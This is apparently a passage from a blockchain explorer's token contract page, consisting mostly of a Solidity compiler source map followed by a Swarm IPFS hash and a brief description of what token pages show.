:22;;;7337:188;7539:10;;7564:408;7588:1;7584;:5;7564:408;;;7766:44;;;;;;4215:19:1;;;4250:12;;;4243:28;;;7794:15:0;4287:12:1;;;4280:28;4324:12;;7766:44:0;;;;;;;;;;;;7722:119;;;;;;7684:184;;7615:295;;7929:27;7944:4;7950:2;7954:1;7929:14;:27::i;:::-;-1:-1:-1;7591:3:0;;;;:::i;:::-;;;;7564:408;;;-1:-1:-1;7986:11:0;7996:1;7986:11;;:::i;:::-;;;7322:688;7276:734;8020:82;8049:4;8068:2;8085:6;8020:14;:82::i;:::-;;6856:1254;;;:::o;6553:293::-;-1:-1:-1;;;;;6697:17:0;;6680:4;6697:17;;;:9;:17;;;;;:27;;6718:6;;6697:17;6680:4;;6697:27;;6718:6;;6697:27;:::i;:::-;;;;-1:-1:-1;;;;;;;6735:20:0;;;;;;:9;:20;;;;;:30;;6759:6;;6735:20;:30;;6759:6;;6735:30;:::i;:::-;;;;;;;;6798:9;-1:-1:-1;;;;;6781:35:0;6790:6;-1:-1:-1;;;;;6781:35:0;;6809:6;6781:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;6781:35:0;;;;;;;;-1:-1:-1;6834:4:0;6553:293;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;745:254;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1605:328::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1790:29;1809:9;1790:29;:::i;:::-;1780:39;;1838:38;1872:2;1861:9;1857:18;1838:38;:::i;:::-;1828:48;;1923:2;1912:9;1908:18;1895:32;1885:42;;1605:328;;;;;:::o;1938:186::-;1997:6;2050:2;2038:9;2029:7;2025:23;2021:32;2018:52;;;2066:1;2063;2056:12;2018:52;2089:29;2108:9;2089:29;:::i;:::-;2079:39;1938:186;-1:-1:-1;;;1938:186:1:o;2337:260::-;2405:6;2413;2466:2;2454:9;2445:7;2441:23;2437:32;2434:52;;;2482:1;2479;2472:12;2434:52;2505:29;2524:9;2505:29;:::i;:::-;2495:39;;2553:38;2587:2;2576:9;2572:18;2553:38;:::i;:::-;2543:48;;2337:260;;;;;:::o;2602:380::-;2681:1;2677:12;;;;2724;;;2745:61;;2799:4;2791:6;2787:17;2777:27;;2745:61;2852:2;2844:6;2841:14;2821:18;2818:38;2815:161;;2898:10;2893:3;2889:20;2886:1;2879:31;2933:4;2930:1;2923:15;2961:4;2958:1;2951:15;2815:161;;2602:380;;;:::o;2987:127::-;3048:10;3043:3;3039:20;3036:1;3029:31;3079:4;3076:1;3069:15;3103:4;3100:1;3093:15;3119:128;3186:9;;;3207:11;;;3204:37;;;3221:18;;:::i;3252:188::-;3331:13;;-1:-1:-1;;;;;3373:42:1;;3363:53;;3353:81;;3430:1;3427;3420:12;3445:450;3532:6;3540;3548;3601:2;3589:9;3580:7;3576:23;3572:32;3569:52;;;3617:1;3614;3607:12;3569:52;3640:40;3670:9;3640:40;:::i;:::-;3630:50;;3699:49;3744:2;3733:9;3729:18;3699:49;:::i;:::-;3689:59;;3791:2;3780:9;3776:18;3770:25;3835:10;3828:5;3824:22;3817:5;3814:33;3804:61;;3861:1;3858;3851:12;3804:61;3884:5;3874:15;;;3445:450;;;;;:::o;3900:125::-;3965:9;;;3986:10;;;3983:36;;;3999:18;;:::i;4347:135::-;4386:3;4407:17;;;4404:43;;4427:18;;:::i;:::-;-1:-1:-1;4474:1:1;4463:13;;4347:135::o

Swarm Source

ipfs://205b0c17f5904d5f2c66f33334a7f1c812f82762299217c3401230d3739efe64
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.